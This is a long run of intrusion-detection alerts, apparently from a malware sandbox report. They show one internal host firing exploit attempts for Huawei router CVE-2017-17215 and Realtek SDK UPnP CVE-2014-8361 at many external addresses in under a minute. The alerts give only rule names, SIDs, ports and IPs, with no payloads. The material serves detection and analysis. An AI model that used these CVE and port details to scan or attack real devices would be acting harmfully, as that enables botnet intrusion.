ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.57.237.13

Timestamp:	07/20/24-23:01:32.202245
SID:	2829579
Source Port:	38114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.60.18.93

Timestamp:	07/20/24-23:01:02.613618
SID:	2829579
Source Port:	59198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.165.57.111

Timestamp:	07/20/24-23:01:27.277398
SID:	2829579
Source Port:	45178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.107.44.23

Timestamp:	07/20/24-23:01:22.811587
SID:	2835222
Source Port:	46170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 151.30.84.182

Timestamp:	07/20/24-23:01:36.850100
SID:	2829579
Source Port:	44266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 136.164.189.225

Timestamp:	07/20/24-23:01:14.525838
SID:	2027339
Source Port:	49290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.214.26.254

Timestamp:	07/20/24-23:01:02.601732
SID:	2835222
Source Port:	41644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 12.119.212.86

Timestamp:	07/20/24-23:01:06.808312
SID:	2829579
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.180.188.91

Timestamp:	07/20/24-23:01:04.861979
SID:	2835222
Source Port:	40720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.121.157.206

Timestamp:	07/20/24-23:01:32.244559
SID:	2835222
Source Port:	35570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.79.63.222

Timestamp:	07/20/24-23:01:04.848636
SID:	2835222
Source Port:	59888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 168.61.125.85

Timestamp:	07/20/24-23:01:06.358322
SID:	2025132
Source Port:	44760
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 117.76.117.93

Timestamp:	07/20/24-23:01:06.437475
SID:	2025132
Source Port:	33516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.144.66.58

Timestamp:	07/20/24-23:01:22.811587
SID:	2835222
Source Port:	57992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 173.204.137.85

Timestamp:	07/20/24-23:01:06.224182
SID:	2025132
Source Port:	39234
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 73.212.180.198

Timestamp:	07/20/24-23:01:04.917925
SID:	2835222
Source Port:	40334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.148.73.239

Timestamp:	07/20/24-23:01:06.808312
SID:	2829579
Source Port:	47146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 78.238.220.249

Timestamp:	07/20/24-23:01:14.535851
SID:	2831300
Source Port:	40336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.106.105.40

Timestamp:	07/20/24-23:01:06.802009
SID:	2829579
Source Port:	46140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.96.4.94

Timestamp:	07/20/24-23:01:04.848636
SID:	2835222
Source Port:	39774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.194.122.181

Timestamp:	07/20/24-23:01:17.786876
SID:	2835222
Source Port:	35996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.175.218.202

Timestamp:	07/20/24-23:01:25.416964
SID:	2835222
Source Port:	35244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.145.193

Timestamp:	07/20/24-23:01:06.813789
SID:	2835222
Source Port:	40864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.95.42.53

Timestamp:	07/20/24-23:01:22.826612
SID:	2835222
Source Port:	43862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.180.89.127

Timestamp:	07/20/24-23:01:14.998444
SID:	2829579
Source Port:	41946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.194.84.193

Timestamp:	07/20/24-23:00:59.021825
SID:	2829579
Source Port:	39374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 119.150.77.161

Timestamp:	07/20/24-23:01:04.592707
SID:	2027339
Source Port:	60404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.16.131.86

Timestamp:	07/20/24-23:00:59.022037
SID:	2835222
Source Port:	40934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.66.205.159

Timestamp:	07/20/24-23:01:02.669609
SID:	2829579
Source Port:	38878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.32.160.8

Timestamp:	07/20/24-23:01:22.737021
SID:	2835222
Source Port:	59078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 128.42.37.53

Timestamp:	07/20/24-23:01:27.366829
SID:	2027339
Source Port:	39100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.142.181.62

Timestamp:	07/20/24-23:01:04.848605
SID:	2829579
Source Port:	50640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.116.235.163

Timestamp:	07/20/24-23:01:04.841989
SID:	2829579
Source Port:	34506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.171.224

Timestamp:	07/20/24-23:01:25.389819
SID:	2829579
Source Port:	41108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 95.49.112.227

Timestamp:	07/20/24-23:01:14.566160
SID:	2027339
Source Port:	57730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 158.159.28.203

Timestamp:	07/20/24-23:01:04.994187
SID:	2027339
Source Port:	41804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 97.115.201.63

Timestamp:	07/20/24-23:01:20.292473
SID:	2025132
Source Port:	41010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 78.145.139.16

Timestamp:	07/20/24-23:01:14.525838
SID:	2831300
Source Port:	34546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 71.13.191.125

Timestamp:	07/20/24-23:01:12.483085
SID:	2829579
Source Port:	47110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.39.109.82

Timestamp:	07/20/24-23:01:22.740155
SID:	2829579
Source Port:	52952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.114.67.30

Timestamp:	07/20/24-23:00:59.021856
SID:	2829579
Source Port:	57934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.95.222.179

Timestamp:	07/20/24-23:01:04.853128
SID:	2835222
Source Port:	33612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.176.113.41

Timestamp:	07/20/24-23:01:06.802009
SID:	2829579
Source Port:	57510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.126.243.240

Timestamp:	07/20/24-23:01:12.490733
SID:	2829579
Source Port:	43946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.78.2.84

Timestamp:	07/20/24-23:01:04.893876
SID:	2829579
Source Port:	34186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 81.215.100.254

Timestamp:	07/20/24-23:01:22.749655
SID:	2835222
Source Port:	41276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.179.148.237

Timestamp:	07/20/24-23:01:27.277398
SID:	2835222
Source Port:	52414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.255.50.16

Timestamp:	07/20/24-23:01:04.893876
SID:	2829579
Source Port:	45362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 129.45.186.97

Timestamp:	07/20/24-23:01:06.800492
SID:	2829579
Source Port:	36610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 78.15.229.242

Timestamp:	07/20/24-23:01:27.352822
SID:	2831300
Source Port:	58344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 181.77.179.109

Timestamp:	07/20/24-23:00:59.023270
SID:	2835222
Source Port:	42570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 77.11.226.101

Timestamp:	07/20/24-23:01:19.196006
SID:	2027339
Source Port:	46066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 19.63.222.55

Timestamp:	07/20/24-23:01:04.892226
SID:	2829579
Source Port:	59838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.188.46.85

Timestamp:	07/20/24-23:01:22.739710
SID:	2829579
Source Port:	37558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 177.53.116.167

Timestamp:	07/20/24-23:01:27.359675
SID:	2027339
Source Port:	50350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.210.89.153

Timestamp:	07/20/24-23:00:59.054990
SID:	2829579
Source Port:	43614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 177.130.98.196

Timestamp:	07/20/24-23:01:06.283652
SID:	2025132
Source Port:	57534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.195.137.191

Timestamp:	07/20/24-23:01:12.533730
SID:	2835222
Source Port:	51186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 126.66.84.101

Timestamp:	07/20/24-23:01:05.795470
SID:	2027339
Source Port:	60280
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.208.118.243

Timestamp:	07/20/24-23:01:04.879348
SID:	2835222
Source Port:	39886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.194.250.247

Timestamp:	07/20/24-23:01:27.236376
SID:	2835222
Source Port:	49734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 171.206.136.183

Timestamp:	07/20/24-23:01:27.355019
SID:	2831300
Source Port:	33430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.215.77.6

Timestamp:	07/20/24-23:01:02.620832
SID:	2829579
Source Port:	50010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.47.74.129

Timestamp:	07/20/24-23:01:04.846946
SID:	2835222
Source Port:	57262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.130.95.204

Timestamp:	07/20/24-23:01:04.870311
SID:	2829579
Source Port:	37308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.115.105.116

Timestamp:	07/20/24-23:01:12.485954
SID:	2835222
Source Port:	34184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.235.225.54

Timestamp:	07/20/24-23:01:32.192487
SID:	2829579
Source Port:	33016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 157.40.9.209

Timestamp:	07/20/24-23:01:14.546238
SID:	2027339
Source Port:	46088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.48.146.195

Timestamp:	07/20/24-23:01:32.260699
SID:	2835222
Source Port:	35586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.141.237.51

Timestamp:	07/20/24-23:01:06.827198
SID:	2829579
Source Port:	52954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 165.167.242.189

Timestamp:	07/20/24-23:01:21.681221
SID:	2027339
Source Port:	40686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.101.183

Timestamp:	07/20/24-23:01:06.805919
SID:	2829579
Source Port:	46408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.49.78.43

Timestamp:	07/20/24-23:01:04.848605
SID:	2829579
Source Port:	39698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 113.33.105.127

Timestamp:	07/20/24-23:01:06.799605
SID:	2835222
Source Port:	52284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.129.27.74

Timestamp:	07/20/24-23:01:22.812907
SID:	2829579
Source Port:	43490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.214.161.128

Timestamp:	07/20/24-23:01:25.414530
SID:	2835222
Source Port:	60158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.122.39.77

Timestamp:	07/20/24-23:01:17.782283
SID:	2835222
Source Port:	43364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.50.200.38

Timestamp:	07/20/24-23:00:59.021252
SID:	2835222
Source Port:	38068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 191.214.228.151

Timestamp:	07/20/24-23:01:14.535851
SID:	2027339
Source Port:	60556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 161.241.29.146

Timestamp:	07/20/24-23:01:27.352538
SID:	2831300
Source Port:	49722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.177.51.37

Timestamp:	07/20/24-23:01:22.746773
SID:	2835222
Source Port:	40638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.144.40.137

Timestamp:	07/20/24-23:01:25.414531
SID:	2835222
Source Port:	47264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 188.53.105.187

Timestamp:	07/20/24-23:01:14.516654
SID:	2831300
Source Port:	37576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 87.24.150.210

Timestamp:	07/20/24-23:01:32.206638
SID:	2829579
Source Port:	38892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 5.243.194.6

Timestamp:	07/20/24-23:01:27.354179
SID:	2027339
Source Port:	39718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 194.111.111.55

Timestamp:	07/20/24-23:01:27.354427
SID:	2027339
Source Port:	59532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.196.109.118

Timestamp:	07/20/24-23:01:25.391285
SID:	2829579
Source Port:	33248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 78.175.0.114

Timestamp:	07/20/24-23:01:22.743515
SID:	2829579
Source Port:	49402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 48.41.58.171

Timestamp:	07/20/24-23:01:32.248799
SID:	2835222
Source Port:	52312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.141.232.217

Timestamp:	07/20/24-23:01:36.837667
SID:	2829579
Source Port:	44916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 23.86.160.85

Timestamp:	07/20/24-23:01:14.523933
SID:	2027339
Source Port:	36116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.206.160.197

Timestamp:	07/20/24-23:01:25.407917
SID:	2829579
Source Port:	42148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.206.199.24

Timestamp:	07/20/24-23:01:12.358593
SID:	2829579
Source Port:	42094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.184.200.133

Timestamp:	07/20/24-23:01:36.780651
SID:	2835222
Source Port:	38600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 126.183.144.210

Timestamp:	07/20/24-23:01:14.547224
SID:	2027339
Source Port:	46040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.196.231.184

Timestamp:	07/20/24-23:01:12.490733
SID:	2835222
Source Port:	55260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.243.238.243

Timestamp:	07/20/24-23:01:08.435254
SID:	2835222
Source Port:	37948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.178.5.152

Timestamp:	07/20/24-23:01:22.834271
SID:	2829579
Source Port:	34036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.121.157.209

Timestamp:	07/20/24-23:01:08.368788
SID:	2835222
Source Port:	50400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.100.145.141

Timestamp:	07/20/24-23:01:08.386561
SID:	2835222
Source Port:	56614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 97.114.117.29

Timestamp:	07/20/24-23:01:05.609671
SID:	2027339
Source Port:	53956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.48.37.91

Timestamp:	07/20/24-23:01:25.388699
SID:	2835222
Source Port:	53438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

